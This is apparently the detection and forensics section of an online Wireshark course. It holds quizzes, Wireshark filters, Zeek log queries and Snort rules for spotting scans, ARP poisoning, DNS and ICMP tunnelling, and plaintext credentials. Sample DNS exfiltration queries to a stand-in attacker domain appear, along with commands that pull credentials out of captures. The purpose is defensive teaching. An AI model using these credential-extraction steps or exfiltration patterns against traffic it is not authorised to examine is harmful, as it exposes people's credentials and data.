You see DNS queries like aGVsbG8gd29ybGQ.corp-exfil.attacker.com, dGhpcyBpcyBhIHRl.corp-exfil.attacker.com, and 847 more similar queries in 60 seconds, all going to the same parent domain. What is happening?

A Normal CDN traffic — content delivery networks use many subdomains

B DNS data exfiltration — the subdomain prefix contains base64-encoded data being exfiltrated chunk by chunk to an attacker-controlled DNS server

C Domain Generation Algorithm (DGA) malware looking for its C2 server

D DNS cache poisoning attack against your resolver

Detection, Alerting & Forensics

DEFENSIVE Attack Detection Filters · Statistics · Zeek · Snort Rules · PCAP Forensics

🛡️

Everything you've learned offensively in this lesson has a defensive counterpart. Every attack leaves a signature in packet captures. This section builds your detection toolkit — the Wireshark filters, statistics views, and Zeek/Snort rules that catch each attack technique you've studied.

// §8.1 — ATTACK DETECTION FILTER REFERENCE

ATTACK	WIRESHARK FILTER	WHAT TO LOOK FOR
Port Scan (Nmap)	`tcp.flags.syn==1 && tcp.flags.ack==0`	Many SYNs from one IP to many ports in seconds. Statistics > Conversations to see port spread.
ARP Poisoning	`arp.duplicate-address-detected`	Two MACs claiming same IP. Wireshark auto-flags "[Duplicate IP address detected]"
SYN Flood DoS	`tcp.flags.syn==1 && tcp.flags.ack==0`	Thousands of SYNs, no corresponding ACKs completing handshakes. I/O graph spike.
DNS Tunnelling	`dns.qry.name.len > 52`	Long subdomain names with encoded data. High query rate to single domain.
Port Mimicry C2	`tcp.port==443 && !tls`	TCP on HTTPS port with no TLS handshake. Regular beacon intervals.
Credential Harvest	`ftp.request.command=="PASS" \|\| http.authorization`	Plaintext credentials in transit. Follow TCP stream for full context.
ICMP Tunnel	`icmp && data.len > 64`	Oversized ICMP payloads. Non-alphabet payload content. Sustained ping traffic.
Fragmentation	`ip.flags.mf==1 \|\| ip.frag_offset > 0`	Unusual fragmentation — especially with tiny fragment sizes (8 bytes).
SSL Stripping	`http && http.request.uri contains "https://"`	HTTP traffic referencing HTTPS URLs — SSLstrip redirect signatures.
DNS Exfil	`dns.qry.type==16 && dns.resp.len > 100`	Large TXT record responses. TXT records used as command delivery.

// §8.2 — WIRESHARK STATISTICS FOR ANOMALY DETECTION

STATISTICS > CONVERSATIONS

Shows all unique host-to-host pairs and their traffic volumes
Sort by Bytes — the highest volume conversations stand out
Sort by Duration — long-running connections may be C2 beacons
TCP tab → look for connections with unusual packet ratios (many tiny packets = beaconing)
Right-click any conversation → Apply as Filter → instantly filter the packet list

STATISTICS > I/O GRAPH

Traffic volume over time — spikes indicate scans, floods, or exfiltration
Add a filter line: dns.qry.name.len > 52 — shows DNS tunnel traffic as a separate colour
Regular periodic spikes = C2 beaconing pattern
Sustained flat high volume = data exfiltration
Sudden traffic to a new external IP = potential C2 check-in

// §8.3 — ZEEK (FORMERLY BRO) — AUTOMATED LOG GENERATION

ZEEK — CONVERT PCAP TO STRUCTURED LOGS

# Zeek analyses PCAP files and produces structured log files # Much faster for large captures than manual Wireshark analysis # Install Zeek: $ sudo apt install zeek -y # Analyse a PCAP file: $ zeek -r capture.pcap # Zeek generates log files automatically: conn.log ← All network connections (src, dst, port, bytes, duration) dns.log ← All DNS queries and responses http.log ← All HTTP requests (URI, method, user-agent, status) files.log ← All file transfers detected ssl.log ← TLS certificates and metadata (SNI, issuer, validity) notice.log ← Automatic alerts (port scans, brute force, etc.) weird.log ← Protocol anomalies Zeek detected # ── Search Zeek logs for DNS tunnelling ────────────────────── $ cat dns.log | zeek-cut query qtype_name | awk 'length($1) > 52' aGVsbG8gd29ybGQ.corp-exfil.attacker.com TXT # ── Find all HTTP credentials in http.log ───────────────────── $ cat http.log | zeek-cut username password method uri # ── Detect port scans from conn.log ────────────────────────── $ cat conn.log | zeek-cut id.orig_h id.resp_p | sort | uniq -c | sort -rn | head -20 # Single source IP with connections to many different ports = port scan # ── Find large data transfers (exfiltration) ───────────────── $ cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p orig_bytes | awk '$4 > 1000000' # orig_bytes > 1MB on a single connection — outbound large transfer

// §8.4 — WRITING SNORT RULES FROM WIRESHARK FINDINGS

TURNING WIRESHARK ANALYSIS INTO SNORT DETECTION RULES

# ── Rule: Detect FTP password transmission ──────────────────── alert tcp any any -> any 21 (msg:"FTP Password Transmitted - Cleartext Credential"; content:"PASS "; nocase; flow:established,to_server; sid:1000101; rev:1;) # ── Rule: Detect DNS tunnelling (long subdomain) ───────────── alert udp any any -> any 53 (msg:"Possible DNS Tunnelling - Long Query Name"; content:"|00 01 00 00|"; offset:4; depth:4; dsize:>200; sid:1000102; rev:1;) # ── Rule: Detect HTTP Basic Auth ────────────────────────────── alert tcp any any -> any 80 (msg:"HTTP Basic Authentication Detected"; content:"Authorization: Basic"; nocase; http_header; sid:1000103; rev:1;) # ── Rule: Detect port scan (many SYNs) ─────────────────────── alert tcp any any -> $HOME_NET any (msg:"Possible Port Scan Detected"; flags:S; threshold: type both, track by_src, count 30, seconds 10; sid:1000104; rev:1;) # ── Rule: Detect ICMP tunnelling (oversized payload) ───────── alert icmp any any -> any any (msg:"Possible ICMP Tunnel - Oversized Payload"; dsize:>100; itype:8; sid:1000105; rev:1;) # ── Rule: Detect ARP poisoning ──────────────────────────────── alert arp any any -> any any (msg:"Possible ARP Poisoning - Gratuitous ARP"; arp.opcode:2; threshold: type both, track by_src, count 10, seconds 5; sid:1000106; rev:1;) # Test your rules against the PCAP you captured: # snort -r capture.pcap -c /etc/snort/snort.conf -A console

// §8.5 — PCAP FORENSICS: INCIDENT RECONSTRUCTION

FORENSIC ANALYSIS WORKFLOW

Step 1 — Overview: Statistics > Capture File Properties → duration, total packets, protocols. Statistics > Protocol Hierarchy → what protocols are present and in what volumes.
Step 2 — Timeline: Sort by time, look for the initial suspicious event — first connection to an unknown IP, first DNS query for a suspicious domain.
Step 3 — Host identification: Statistics > Endpoints → all IPs involved. ARP/DHCP/NBNS packets → map IPs to hostnames and MACs.
Step 4 — Conversation analysis: Statistics > Conversations → which pairs of hosts communicated? How much data? How long?
Step 5 — Follow suspicious streams: Right-click suspicious packets → Follow TCP/UDP/HTTP Stream → read the full conversation as text.
Step 6 — Extract artefacts: File > Export Objects → recover transferred files (documents, executables, images) from HTTP/SMB streams.
Step 7 — Document findings: Export marked packets (Edit > Mark All Displayed → File > Export Specified Packets) for the incident report.

// §8 — FINAL QUIZ

You are given a PCAP file from a suspected breach. Your analysis finds: (1) ARP duplicate address alerts for the gateway, (2) HTTP POST to /login with credentials in plaintext, (3) 1,200 DNS TXT queries with 80+ character subdomain names in 5 minutes, (4) sustained TCP connection to 203.0.113.50:443 with no TLS handshake. Rank these findings by severity and explain what each indicates.

A Only finding (2) matters — credentials are the highest priority, rest are noise

B Finding (3) is most severe — DNS is always the top attack vector

C Priority: (4) active C2 = isolate immediately, (3) active DNS exfil = block now, (1) ongoing MITM = find the attacker machine, (2) credentials = rotate immediately

D Findings (1) and (2) are unrelated — address each separately with equal priority

WIRESHARK DEEP DIVE — COMPLETE

You can now capture and interpret packet data, harvest credentials from plaintext protocols, detect ARP poisoning and DNS tunnelling, and reconstruct incidents from PCAP files.

SECTIONS

QUIZZES

25+

FILTERS

SNORT RULES

↑

WiresharkDeep Dive

Interface & Capture Basics

Protocol Analysis & Interpretation

Passive Reconnaissance with Wireshark

Credential Interception

Man-in-the-Middle & Traffic Injection

Evading Wireshark & IDS Detection

Encrypted & Tunnelled Traffic

Detection, Alerting & Forensics

Wireshark
Deep Dive